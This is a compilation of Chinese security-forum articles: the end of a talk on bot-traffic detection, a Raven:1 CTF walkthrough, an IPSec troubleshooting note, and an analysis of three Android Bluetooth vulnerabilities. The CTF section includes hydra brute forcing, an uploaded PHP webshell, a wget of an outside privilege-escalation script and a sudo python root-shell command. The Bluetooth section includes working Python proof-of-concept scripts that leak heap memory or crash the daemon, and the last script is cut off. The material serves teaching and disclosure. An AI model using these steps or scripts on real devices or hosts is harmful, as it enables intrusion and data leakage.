检测模块听起来不是很智能，但其实如果把整个智能系统比作一个人的话，检测模块就是眼睛，没有眼睛的话很多事情是做不了。
我把检测模块比作整个系统的眼睛，这个眼睛是要满足这四方面的要求，第一个很简单，你必须要能判断出你的目标是0是1，判断不出来就不是一个好的检测系统。
第二个可能经常被忽视，尤其是安全攻防领域，这个检测是想尽量做到被攻击者无感知的，因为在攻防上，传统来讲我们作为防守方，其实是有一个很大的劣势，就是我们好像永远都站在明处，那些攻击者都是站在暗处，他们可以不断的来测试我们的系统，但是我不知道他什么时候在测试我，我完全被动，他可以随时在暗处躲着，随时打我一拳，随时看到我的动作。检测系统实际把刚才我说的攻防不利方面转化了，因为我们有检测系统的话，检测系统如果做到对方无感知，在检测系统上我们是站在暗处，他们站在明处，因为他没有感知到我是在什么时间，什么点去做检测的。
最后这两个也是必须的，第一个是要检测到未知的新攻击，因为机器学习是用历史来告诉未来，用历史的数据来告诉你未来的行为，很容易陷入到你的特征只能表示已知的攻击行为，而对未知的不可预测，所以这个检测系统必须提取的特征是一个对所有的攻击行为都适用。最后一个是无偏的，听起来是非常自然的一件事，但是在实际中会有很多的陷井，如果不注意的话会把你的检测结果带偏。
### 分类模型
分类模型是机器学习的一种在工业界最常用的模型，如果我们还是把这个比作有机体的话，分类模型就是大脑。
这个是大的分类模型框架，从输入到输出，可以看到输入的信息基本上有四个方面，一个当然你是在检测流量是不是机器流量，所以肯定有流量的信息，第二是生态的数据，这个其实是阿里现在一个越来越有优势或者越来越有利的，因为阿里的生态包括集团、UC浏览器、高德、优酷，这些都是并入到阿里的大生态中，大生态里的各个方面和数据可以做到互相的补充，形成一个联动的防御机制，这是生态数据的重要方面。第三是情报，这里主要是公开有的这些数据，但是去经过分析，可以得到一些有价值的情报，其实安全问题本质上是一个大数据的问题，但这个大数据问题我的观点是通过小数据来解决的，撬动大数据问题的杠杆的小数据，其实就是情报。第四是专家经验，因为昨天大家在会场上也听到讲了很多知识图谱或者知识库，可能那些是比较新的名字，但是在工业界用就是我们要把专家经验作为特征之一结合到系统。有了这些输入之后，特征会用各种各样的方法去计算各种维度的相似度的特征和提取，最后识别出来的结果可以用在离线的识别服务和在线识别服务，这就是一个模型的框架。
### 辅助系统
因为我做机器学习已经很久，有十几年的历史，在工业界来说，英特尔的CTO也讲到他们提供机器学习整个训练的线下的部分，但我的经验是，模型是在有效的系统中占比是有效的，现有的已经有效的机器学习系统还有两个是非常重要需要加进去的，一个是跟控制有关，反馈控制是一个研究的已经很透的领域，但其实在实际系统中，反馈控制往往能起到和机器学习模型叠加组合起来能起到好效果。
辅助系统在工业界其实是机器模型能够合理的利用和产生价值的必不可少的一些部分，第一个是持续检测，因为如果把检测比作眼睛的话，如果你想整个攻防体系最后是自动化的话，一定需要持续检测，这也是我刚才讲的控制上的应用。第二是多模型防控，机器学习模型其实最后训练出来的是像一张网，这张网覆盖上会有很多洞，我怎么解决这些洞？从模型训练角度讲你只有加更多例子，你可以理解为这个网的节点就更加多了，但这个有的时候数据是不可得的，所以多模型防控就好像用不同模型去训练不同网，我把网叠加起来，希望这种叠加效应能够对我的整个防御体系产生更好的拦截作用。第三是分场景防守，分场景防守也是呼应我刚才讲的，除了控制模块，第二块是我们要在实际中，运筹学或者传统的有条件的优化上，其实已经帮我们指明了很多路，他们在供应链管理上已经做得非常好，分场景防守就是在我们模型的上面加上一些系统，不等同于是采取分段模型，而其实是增加了一个决策系统，去让模型更好的在不同场合、不同策略适应。最后一个在实际中也是必须的，不管你采取多复杂的系统，用什么模型，最后是要兜底的，他们都会有可能产生一些不可预期的结果，所以这个系统现在不管人工智能发展得多好，还是要留一个出口，当我一旦有一些没有预料到的情形发生的时候，我要让人知道这些报警，有专家去做控制。
## 总结
第一个是由于我们有越来越多的人工智能算法和人工智能体，这些都成为安全所要保护范围里面的重要成分之后，我们一定要警惕这些智能体被数据中毒或者数据污染，因为他们都是数据驱动。作为像阿里巴巴这样的网络公司来讲，数据中毒或者数据污染的主要途径是通过机器流量，因为这些智能体都是用大数据训练的，他要用数据污染你，一定是用大量的垃圾数据去污染，大量的垃圾数据不大可能是由人产生，一定是机器产生。最后我简单的介绍了阿里安全关于防止机器行为数据中毒的清洗体系的三个组成部分。
审核人：yiwang 编辑：边边 | 社区文章 |
# 渗透测试实战-Raven：1靶机入侵
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
大家好！爱写靶机渗透文章的我又来了，该靶机被设计者定义为初级-中级，最后小弟完成整个渗透的时候也的确是比较简单的；但是中间设计者设计了一个坑，小弟在那里被困了好几天，都塌喵的开始怀疑人生了。下面会介绍，本靶机设计者一共设置了4个flag，本次入侵也已拿到4个flag和root权限为止。
## 靶机安装/下载
Raven：1靶机下载：<https://pan.baidu.com/s/18p0Jir7eH0BL1Na_6ybRtg>
靶机IP: 172.16.24.37
## 实战
第一步老规矩探测ip：
已经知道了ip，下一步就是使用nmap探测靶机开放的端口了，如图：
通过上面的端口探测可以看到，该靶机开放了多个端口，我们还是老规矩以80端口作为突破口
下一步进行目录猜解，本次使用gobuster 工具完成
我们在 <http://172.16.24.37/service.html> 拿到了第一个flag，在源代码262行处，如图：
flag1{b9bbcb33e11b80be759c4e844862482d}
通过刚刚的目录猜解，我在/vendor目录下发现了
PHPMailerAutoload.php，通过搜索发现存在一个PHPmailer的任意命令执行漏洞，然后小弟就一顿操作一顿修改exp，
（注：这里的绝对路径在<http://172.16.24.37/vendor/PATH> ）
小弟还不死心，直接手动测试，如图：
依然出错，在这里小弟被卡了好几天，一度怀疑是不是靶机设计者设计错了，最后忘记是用哪款扫描器，扫描到了zip文件，地址：<http://172.16.24.37/contact.zip>
，下载来后通过查看源代码发现，该源码里写入的地址是错的，这也就说我一直没法利用该漏洞的原因，如图：
最后小弟把目光放在/wordpress 上，老规矩使用wpsan怼一波，如图：
未发现可利用漏洞，但是出来2个账户“michael”、“steven”
下面我们加载这2个账户来破解其ssh密码，各位也可以使用msf来完成
小弟这里使用hydra：
破解出来密码：“michael”、“michael”
即能成功登陆ssh，
下一步就是拿flag了，flag2在 /var/www/ 目录下，如图：
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
下面为了演示方便，小弟上了一个php大马在/wordpress目录下，
下一步就是提权了，在/wordpress/wp_config.php 里拿到mysql的账户密码，如图：
mysql账户密码为：“root”、“R[@v3nSecurity](https://github.com/v3nSecurity
"@v3nSecurity")”
到了这里肯定要小伙伴要问了，前面端口探测不是看到靶机没开3306端口吗？其实它只是为了防止外部访问罢了，我们使用shell查看，即可知道，如图：
下面肯定是通过mysql提权啊，我们使用php大马来操作mysql，方便大家阅读
拿到了flag3{afc01ab56b50591e7dccf93122770cd2}
小弟也在/tmp目录下，上传了一个提权辅助脚本，命令：
wget https://www.securitysift.com/download/linuxprivchecker.py
通过提权脚本我们可以看到，我们可以使用mysql来完成提权，该方法的提权具体操作，见代码注释处，如图：
脚本地址：<https://www.exploit-db.com/exploits/1518/>
小弟这里使用另外一种方法提权，刚刚我们已经得到了另外一个账户“steven”的hash值，下一步我们破解这个hash
得到破解密码：pink84
下面我们切换到steven账户
下一步输入命令：sudo -l
可以看到python，可以直接绕过root，下面只需要输入命令
sudo python -c ‘import pty;pty.spawn(“/bin/bash”)’
成功拿到flag和root_shell
## 总结
通过这篇文章小伙伴们应该也看到了，该靶机其实挺简单的，但是小弟在前面被不知是设计者的故意挖坑还是失望留的坑，困了好几天，一直无法突破。所以说小伙伴们以后在真实环境中如果碰到无法突破的点，可以先试着跳出来看看其他的是否有突破口呐？
最后祝大家生活愉快，感谢观看！ | 社区文章 |
# VSRC连载系列之（1）初识IPSec：谁动了我的500端口？
|
##### 译文声明
本文是翻译文章，文章来源：唯品会安全应急响应中心
原文地址：[https://mp.weixin.qq.com/s?__biz=MzI5ODE0ODA5MQ==&mid=403861659&idx=1&sn=5cca72e4bb85ff4d6a822a1d86752f96&scene=1&srcid=0810WTRxorropd4PJ54Das4n&pass_ticket=IB%2Bxt7VPXu3R6KQWJX%2BOaXPk3jEAlEyLDHPLYzWrohqY0ucN58d3GyPyeyLUJWei#rd](https://mp.weixin.qq.com/s?__biz=MzI5ODE0ODA5MQ==&mid=403861659&idx=1&sn=5cca72e4bb85ff4d6a822a1d86752f96&scene=1&srcid=0810WTRxorropd4PJ54Das4n&pass_ticket=IB%2Bxt7VPXu3R6KQWJX%2BOaXPk3jEAlEyLDHPLYzWrohqY0ucN58d3GyPyeyLUJWei#rd)
译文仅供参考，具体内容表达以及含义原文为准。
作为一枚代码小白，周末当然一如往常的宅家学习Coding啦，不过突然接到A同学的求助说上周在机房配置好的VPN现在突然连不上了。而且监控发现流量很大，怀疑是被恶意攻击了。于是在简单了解之后发现是一个普通的站点到站点的IPSec
VPN，两端采用ESP加密。这种情况只能一步一步排错：
**一、基本路由排错**
**1、全局地址可达**
Site1#ping 101.1.2.3 source 101.1.1.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 101.1.2.3, timeout is 2 seconds:
Packet sent with a source address of 101.1.1.2
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 16/34/52 ms
**2、路由可达**
Site1#show ip route
Codes: L – local, C – connected, S – static, R – RIP, M – mobile, B – BGP
D – EIGRP, EX – EIGRP external, O – OSPF, IA – OSPF inter area
N1 – OSPF NSSA external type 1, N2 – OSPF NSSA external type 2
E1 – OSPF external type 1, E2 – OSPF external type 2
i – IS-IS, su – IS-IS summary, L1 – IS-IS level-1, L2 – IS-IS level-2
ia – IS-IS inter area, * – candidate default, U – per-user static route
o – ODR, P – periodic downloaded static route, + – replicated route
Gateway of last resort is 101.1.1.4 to network 0.0.0.0
S* 0.0.0.0/0 [1/0] via 101.1.1.4
2.0.0.0/32 is subnetted, 1 subnets
C 2.2.2.2 is directly connected, Loopback0
101.0.0.0/8 is variably subnetted, 2 subnets, 2 masks
C 101.1.1.0/24 is directly connected, FastEthernet0/0
L 101.1.1.2/32 is directly connected, FastEthernet0/0
**二、查看ISAKMP状态**
****在Site1查看如下：****
****
**此时，在第一阶段协商时，Site1已开始向对端协商，但是对端Site2无响应**
****
**接着在Site2查看：**
发现存在ISAKMP SA信息，但状态为MM_NO_STATE表示单边建立失败
****
****
抓包发现，两边的UDP500端口的数据均可正常发包，所以基本可以排除设备故障。
三、查看IPSec状态
在Site1上查看IPSec也无任何信息，至此第二阶段建立依旧失败。
****
**究竟是谁动了我的500端口？**
经与运营商协商，怀疑为500端口被恶意用户攻击存在可疑流量，经双方调整，IPSec VPN顺利建立。A同学的VPN又能顺利建立了！
名词解释：
ISAKMP：Internet 密钥交换协议（IKE）
用于在两个通信实体协商和建立安全相关，交换密钥。
IPSEC：Internet 协议安全性 (IPSec)
是一种开放标准的框架结构，通过使用加密的安全服务以确保在 Internet 协议 (IP) 网络上进行保密而安全的通讯。
作者：MCCIE Security
曾自由出入于各大IDC数据中心机房；
前系统及网络工程师一枚；
现经常被椅子封印无法自拔不想下班，
因为我加入了唯品会信息安全部门！
这是一个集欢乐、智慧于一身的大家庭！
现为唯品会“信息安全工程师”一枚； | 社区文章 |
# 快速理解Android中的三个蓝牙漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 两个内存泄漏和一个数组索引越界
## 漏洞简介
* [Issue 74882215](https://issuetracker.google.com/issues/74882215): Bluetooth L2CAP L2CAP_CMD_CONN_REQ Remote Memory Disclosure（蓝牙L2CAP L2CAP_CMD_CONN_REQ远程内存泄漏）
* [Issue 74889513](https://issuetracker.google.com/issues/74889513): Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure（蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄漏）
* [Issue 74917004](https://issuetracker.google.com/issues/74917004): Bluetooth SMP smp_sm_event() OOB Array Indexing（蓝牙SMP smp_sm_event（）OOB数组索引）
## 漏洞1：Bluetooth L2CAP L2CAP_CMD_CONN_REQ Remote Memory Disclosure
`（蓝牙L2CAP L2CAP_CMD_CONN_REQ远程内存泄漏）`
### 简要
通过将巧尽心思构造的`L2CAP数据包`发送到目标设备，蓝牙范围内的远程攻击者可以利用Android蓝牙堆栈中的漏洞来泄露属于`com.android.bluetooth`守护程序堆的
**2个** 字节（一个uint16_t数据）。
### 前置介绍
#### L2CAP
L2CAP（Logical Link Control and Adaptation Protocol），即逻辑链路控制和适配协议
【蓝牙架构中如图所示】
`L2CAP`是蓝牙协议栈中的一个协议。
功能包括 为更高层的协议传输数据、在单个链路上复用多个应用程序。
`L2CAP`是基于信道的，并且控制命令在预定义的`L2CAP_SIGNALLING_CID（0x01）`信道上发送。
### 漏洞详情
> 漏洞在于使用 `STREAM_TO_UINT16`宏而不检查攻击者控制的数据包中是否剩余了足够的数据。如果第二次使用
> `STREAM_TO_UINT16`时，数据包中没有剩余字节，那么将越界读取 `rcid`
>
> 结果：泄漏数据包后相邻的两个字节（rcid）
`L2CAP`传入的数据由`l2c_rcv_acl_data()`函数`[ platform / system / bt / stack / l2cap /
l2c_main.cc ]`处理。
如果传入的`L2CAP数据包`指定`L2CAP_SIGNALLING_CID`作为其目标通道，则`l2c_rcv_acl_data()`调用`process_l2cap_cmd()`函数来处理`L2CAP`控制命令。
以上过程如下所示：
`L2CAP_CMD_CONN_REQ`控制命令在`process_L2CAP_CMD()`函数中是这样处理的：
case L2CAP_CMD_CONN_REQ:
STREAM_TO_UINT16(con_info.psm, p);
STREAM_TO_UINT16(rcid, p);
p_rcb = l2cu_find_rcb_by_psm(con_info.psm);
if (p_rcb == NULL) {
L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d",
con_info.psm);
l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);
break;
} else {
[...]
代码使用了两次`STREAM_TO_UINT16`宏`[ platform / system / bt / stack / include /
bt_types.h ]`，
从`L2CAP数据包`（上面的变量p，就是数据包中的数据）中一共读取2个`uint16_t`值（读入后分别放入了`con_info.psm`和`rcid`中）。
#define STREAM_TO_UINT16(u16, p) \
{ \
(u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \
(p) += 2; \
}
漏洞在于使用`STREAM_TO_UINT16`宏而不检查攻击者控制的数据包中是否剩余了足够的数据。如果第二次使用`STREAM_TO_UINT16`时，数据包中没有剩余字节，那么将
**越界读取**`rcid`（也可能越界读取con_info.psm，只是后面不会泄漏出来），更确切地说，从堆上与数据包相邻的任何数据。之后，如果`l2cu_find_rcb_by_psm()`返回NULL，并且因此到达了`if`分支，则调用`l2cu_reject_connection()
[ stack / l2cap / l2c_utils.cc ]`将向远程对等方发送`rcid`，从而有效地从堆中泄漏了2个字节：
void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid,
uint8_t rem_id, uint16_t result) {
[...]
UINT16_TO_STREAM(p, 0); /* Local CID of 0 */
UINT16_TO_STREAM(p, remote_cid);
UINT16_TO_STREAM(p, result);
UINT16_TO_STREAM(p, 0); /* Status of 0 */
l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}
请注意，攻击者可以通过在特制的`L2CAP数据包`中提供
**未注册的协议/服务多路复用器**`（PSM）`ID字段来完全影响`l2cu_find_rcb_by_psm()`，以致于始终返回NULL（从而始终到达`if`分支）。
另外，请注意，这种使用`STREAM_TO_UINT16`宏而不检查攻击者控制的数据包中是否剩余足够数据的不安全代码模式似乎已在`process_l2cap_cmd()`函数的各处使用。
* * *
总结来说，过程如下图所示：
从堆栈上通过函数`STREAM_TO_UINT16`分别读取两字节到`con_info.psm`和`rcid`，`con_info.psm`再通过函数`l2cu_find_rcd_by_psm`函数得到`p_rcb`，对`p_rcb`进行判断，如果`p_rcb
== NULL`（可以通过提供未注册的协议/服务多路复用器ID字段来实现），会读取`rcid`等信息。
如果，数据包中的数据在`数据1..`就已经结束，程序还是会将堆栈上将相邻两个字节的数据（也就是`数据2..`）读入到rcid，最后发送给远程对等方。那么，最后整个攻击结果就是这里的内存泄漏了两个字节。
### Proof-of-Concept（概念验证）
以下Python代码触发了该漏洞，并打印了从目标蓝牙设备的`com.android.bluetooth`守护程序堆泄漏的16位值。
此Python代码使用`Blueborne框架`中的`l2cap_infra包`。
用法：`$ sudo python l2cap01.py <src-hci > <target-bdaddr>`。
例如：`$ sudo python l2cap01.py hci0 00：11：22：33：44：55`。
import os
import sys
from l2cap_infra import *
L2CAP_SIGNALLING_CID = 0x01
L2CAP_CMD_CONN_REQ = 0x02
def main(src_hci, dst_bdaddr):
l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
# This will leak 2 bytes from the heap 这将从堆中泄漏2个字节
print "Sending L2CAP_CMD_CONN_REQ in L2CAP connection..." #发送L2CAP连接中的L2CAP命令连接请求
cmd_code = L2CAP_CMD_CONN_REQ
cmd_id = 0x41 # not important
cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
non_existent_psm = 0x3333 # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called 协议/服务多路复用器id不存在，因此l2cu_find_rcb_by_psm()返回NULL，并调用l2cu_reject_connection（）
# here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
#这里我们将L2CAP_signaling_CID用作CID，因此l2c_rcv_acl_data()调用进程_L2CAP_cmd()：
# 170 /* Send the data through the channel state machine 通过通道状态机发送数据*/
# 171 if (rcv_cid == L2CAP_SIGNALLING_CID) {
# 172 process_l2cap_cmd(p_lcb, p, l2cap_len);
l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBHH', cmd_code, cmd_id, cmd_len, non_existent_psm)))
l2cap_loop.on(lambda pkt: True,
lambda loop, pkt: pkt)
# And printing the returned data.打印返回的数据。
pkt = l2cap_loop.cont()[0]
print "Response: %s\n" % repr(pkt)
# print "Packet layers: %s" % pkt.summary()
# The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_ConnResp
# The response contains 1 leaked word in the 'scid' field of the L2CAP_ConnResp layer 响应在L2CAP_conresp层的“scid”字段中包含1个泄漏的单词
print "Leaked word: 0x%04x" % pkt[2].scid
l2cap_loop.finish()
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: l2cap01.py <src-hci> <dst-bdaddr>")
else:
if os.getuid():
print "Error: This script must be run as root."
else:
main(*sys.argv[1:])
## 漏洞2：Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure
`蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄露`
### 简要
通过将特制的`L2CAP数据包`发送到目标设备，蓝牙范围内的远程攻击者可以使用Android
蓝牙堆栈中的漏洞来泄露属于`com.android.bluetooth`守护程序堆的4个字节。
### 漏洞详情
> 漏洞在于，两次使用了`STREAM_TO_UINT16` 宏，而没有检查攻击者控制的数据包中是否至少还有4个字节。如果数据包中没有剩余字节，则越界读取
> `lcid` 和 `rcid`。
>
> 结果：泄漏数据包后相邻的四个字节
`L2CAP_CMD_DISC_REQ`控制命令在`process_L2CAP_CMD()`函数中是这样处理的：
case L2CAP_CMD_DISC_REQ:
STREAM_TO_UINT16(lcid, p);
STREAM_TO_UINT16(rcid, p);
p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);
if (p_ccb != NULL) {
if (p_ccb->remote_cid == rcid) {
p_ccb->remote_id = id;
l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);
}
} else
l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);
上面的代码两次使用`STREAM_TO_UINT16`宏[ `platform / system / bt / stack / include /
bt_types.h` ] ，从`L2CAP数据包`中一共读取2个`uint16_t`值（`lcid`和`rcid`）：
漏洞在于，两次使用了`STREAM_TO_UINT16`宏，而没有检查攻击者控制的数据包中是否至少还有4个字节。如果数据包中没有剩余字节，则越界读取`lcid`和`rcid`，更准确地说，从堆上与数据包数据相邻的任何数据读取。之后，如果`l2cu_find_ccb_by_cid()`返回NULL并因此到达else分支，则调用`l2cu_send_peer_disc_rsp()
[ platform / system / bt / stack / l2cap / l2c_utils.cc
]`向远程对等方发送`lcid`和`rcid`，有效地从堆中泄漏了4个字节：
void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id,
uint16_t local_cid, uint16_t remote_cid) {
[...]
UINT16_TO_STREAM(p, local_cid);
UINT16_TO_STREAM(p, remote_cid);
l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}
请注意，攻击者可能会完全影响`l2cu_find_ccb_by_cid()`来返回NULL（并因此到达else分支），因为除非在目标蓝牙设备和攻击者的蓝牙设备之间使用虚假`lcid`设置了活动的信道控制块`（CCB）`，否则该函数将始终返回NULL。
图示如下：
从堆栈上通过函数`STREAM_TO_UINT16`分别读取两字节到`lcid`和`rcid`，`con_info.psm`再通过函数`l2cu_find_ccd_by_cid`函数得到`p_ccb`，对`p_ccb`进行判断，如果`p_ccb
== NULL`（通过在目标蓝牙之间使用的虚拟lcid不设置活动的信道控制块来实现），然后就会像远程对等方发送lcid和rcid等信息。
如果，数据包中的数据在`数据1..`之前就已经结束，程序还是会将堆栈上将相邻四个字节的数据（也就是`数据2..`）分别读入到`lcid`和`rcid`，最后发送给远程对等方。那么，最后整个攻击结果就是这里的内存泄漏了四个字节。
### Proof-of-Concept（概念验证）
以下Python代码触发了该漏洞，并打印了从目标蓝牙设备的`com.android.bluetooth`守护程序堆泄漏的两个16位值。
此Python代码使用`Blueborne框架`中的`l2cap_infra包`。
用法： `$ sudo python l2cap02.py <src- hci > <target-bdaddr>`。
例如：`$ sudo python l2cap02.py hci0 00：11：22：33：44：55`。
import os
import sys
from l2cap_infra import *
L2CAP_SIGNALLING_CID = 0x01
L2CAP_CMD_DISC_REQ = 0x06
def main(src_hci, dst_bdaddr):
l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
# This will leak 4 bytes from the heap 这将从堆中泄漏4个字节
print "Sending L2CAP_CMD_DISC_REQ command in L2CAP connection..."
cmd_code = L2CAP_CMD_DISC_REQ
cmd_id = 0x41 # not important
cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
# here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
#这里我们将L2CAP_signaling_CID用作CID，因此l2c_rcv_acl_data（）调用进程_L2CAP_cmd（）：
# 170 /* Send the data through the channel state machine */
# 171 if (rcv_cid == L2CAP_SIGNALLING_CID) {
# 172 process_l2cap_cmd(p_lcb, p, l2cap_len);
l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBH', cmd_code, cmd_id, cmd_len)))
l2cap_loop.on(lambda pkt: True,
lambda loop, pkt: pkt)
# And printing the returned data.并打印返回的数据。
pkt = l2cap_loop.cont()[0]
print "Response: %s\n" % repr(pkt)
# print "Packet layers: %s" % pkt.summary()
# The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_DisconnResp
# The response contains 2 leaked words in the 'dcid' and 'scid' fields of the L2CAP_DisconnResp layer
print "Leaked words: 0x%04x 0x%04x" % (pkt[2].dcid, pkt[2].scid)
l2cap_loop.finish()
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: l2cap02.py <src-hci> <dst-bdaddr>")
else:
if os.getuid():
print "Error: This script must be run as root."
else:
main(*sys.argv[1:])
## 漏洞3：Bluetooth SMP smp_sm_event() OOB Array Indexing
`Bluetooth SMP smp_sm_event() OOB阵列索引`
### 简要
蓝牙范围内的远程攻击者可以使用Android
蓝牙堆栈中的漏洞，通过以意外传输方式将包含`SMP_OPCODE_PAIRING_REQ`命令的`SMP`数据包发送到目标设备，从而使`com.android.bluetooth`守护程序访问其边界之外的数组。
### 前置介绍
#### 安全管理协议SMP
SMP（The Security Manager Protocol ）
连接建立之后，双方通过某些方式协商共同的密钥，然后将后续要传输的数据用这个密钥通过加密算法进行加密，然后发送。接收方，接收到这些数据后，必须使用正确的密钥来解密，才能得到正确的数据了。接着，建立密钥，即完成双方密钥协商，就密钥一事达成共同一致的过程。
过程如图所示：
> 为运行在低功耗蓝牙协议栈上的应用程序提供诸如身份验证，设备授权和数据隐私等服务的权限。
### 漏洞详情
> 数组索引只接受0x0和0x1，而作为索引的变量还能设置为0xff，导致后续引用可能导致分段错误
`SMP协议`通过预定义的`L2CAP_SMP_CID（0x06）`通道，位于`L2CAP`之上。
传入的`SMP数据包`由`smp_data_received()`函数`[ platform / system / bt / stack / smp /
smp_l2c.cc ]`处理。如果 通过包含`SMP_OPCODE_PAIRING_REQ（0x01）`命令的`L2CAP_SMP_CID`固定通道
接收到输入`SMP`数据包，则将到达以下代码：
static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
BT_HDR* p_buf) {
[...]
/* reject the pairing request if there is an on-going SMP pairing */
if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
if ((p_cb->state == SMP_STATE_IDLE) &&
(p_cb->br_state == SMP_BR_STATE_IDLE) &&
!(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
p_cb->role = L2CA_GetBleConnRole(bd_addr);
[...]
如上面的代码所示，最后一行中`p_cb-> role`设置为`L2CA_GetBleConnRole（bd_addr）`返回的值。`p_cb->
role`应该保存以下值之一[ `platform / system / bt / stack / include / hcidefs.h` ]，也就是
p_cb->role的值可以是0x00、0x01、0xff
/* HCI role defenitions */
#define HCI_ROLE_MASTER 0x00
#define HCI_ROLE_SLAVE 0x01
#define HCI_ROLE_UNKNOWN 0xff
如果我们查看`L2CA_GetBleConnRole()`函数的代码`[ platform / system / bt / stack / l2cap /
l2c_ble.cc ]`，我们可以看到它调用了`l2cu_find_lcb_by_bd_addr()`为了查找活跃的链接控制块（an active
Link Control
Block）`（LCB）`结构匹配远程`BDADDR`并且使用低能耗传输`（BT_TRANSPORT_LE）`；如果找不到它，则返回`HCI_ROLE_UNKNOWN（0xff）`。当我们通过`BR/EDR`（基本速率/增强数据速率，也称为“经典”蓝牙）传输发送包含`SMP_OPCODE_PAIRING_REQ`命令的`SMP`数据包时，这种情况会发生，因为它只适用于低能量（LE）传输：
uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
uint8_t role = HCI_ROLE_UNKNOWN;
tL2C_LCB* p_lcb;
p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
if (p_lcb != NULL) role = p_lcb->link_role;
return role;
}
因此，回到`smp_data_received()`函数，将`p_cb->
role`设置为`HCI_ROLE_UNKNOWN（0xff）`之后，它调用`smp_sm_event()` [ `platform / system /
bt / stack / smp / smp_main.cc` ]，我们到达以下代码：
953 void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) {
...
957 tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
...
970 /* look up the state table for the current state */
971 /* lookup entry /w event & curr_state */
972 /* If entry is ignore, return.
973 * Otherwise, get state table (according to curr_state or all_state) */
974 if ((event <= SMP_MAX_EVT) &&
975 ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {
在957行，代码使用`p_cb-> role`作为索引从`smp_entry_table`静态数组中读取，而无需检查`p_cb->
role`是否具有两个有效值之一（`HCI_ROLE_MASTER（0x00）`或`HCI_ROLE_SLAVE（0x01）`）。这就是漏洞所在：`smp_entry_table`静态数组仅包含2个元素，而`p_cb->
role的`值为`0xFF`，是在通过`BR /
EDR`传输接收到包含`SMP_OPCODE_PAIRING_REQ`命令的`SMP`数据包之后，而不是通过预期的低能耗传输：
static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map,
smp_slave_entry_map};
因此，由于执行`entry_table = smp_entry_table
[0xff]`时的OOB索引，`entry_table`局部变量将包含一些垃圾值（无论是否在`bluetooth.default.so`二进制数据的`smp_entry_table`全局变量之后）。因此，稍后，在第975行，当取消引用`entry_table
[event- 1]
[curr_state]`时，很可能会导致分段错误（受特定版本的`bluetooth.default.so`二进制文件的影响，`smp_entry_table`全局变量位于该二进制文件中）），这将使`com.android.bluetooth`守护程序停止工作。
* * *
总结来说，过程如下图所示：
文中提及的函数调用关系：
【箭头指向表示调用该函数】
理论上讲，如果能够找到了一个版本的`bluetooth.default.so`，取消引用`entry_table [event-1]
[curr_state]`，那么程序就不会崩溃，可以进一步解决此错误。
### Proof-of-Concept（概念验证）
以下Python代码触发了该漏洞，并且很有可能使目标设备上的`com.android.bluetooth`守护程序崩溃。
此Python代码使用Blueborne框架中的[l2cap_infra](https://github.com/ArmisSecurity/blueborne/tree/master/l2cap_infra)包。
用法： `$ sudo python smp01.py <src- hci > <target-bdaddr>`。
例如：`$ sudo python smp01.py hci0 00：11：22：33：44：55`。
import os
import sys
from l2cap_infra import *
L2CAP_SMP_CID = 0x06
# This matches the CID used in l2cap_infra to establish a successful connection.
OUR_LOCAL_SCID = 0x40
SMP_OPCODE_PAIRING_REQ = 0x01
def main(src_hci, dst_bdaddr):
l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..."
cmd_code = SMP_OPCODE_PAIRING_REQ
the_id = 0x41 # not important
cmd_len = 0x08
flags = 0x4142 # not important
# here we use L2CAP_SMP_CID as cid
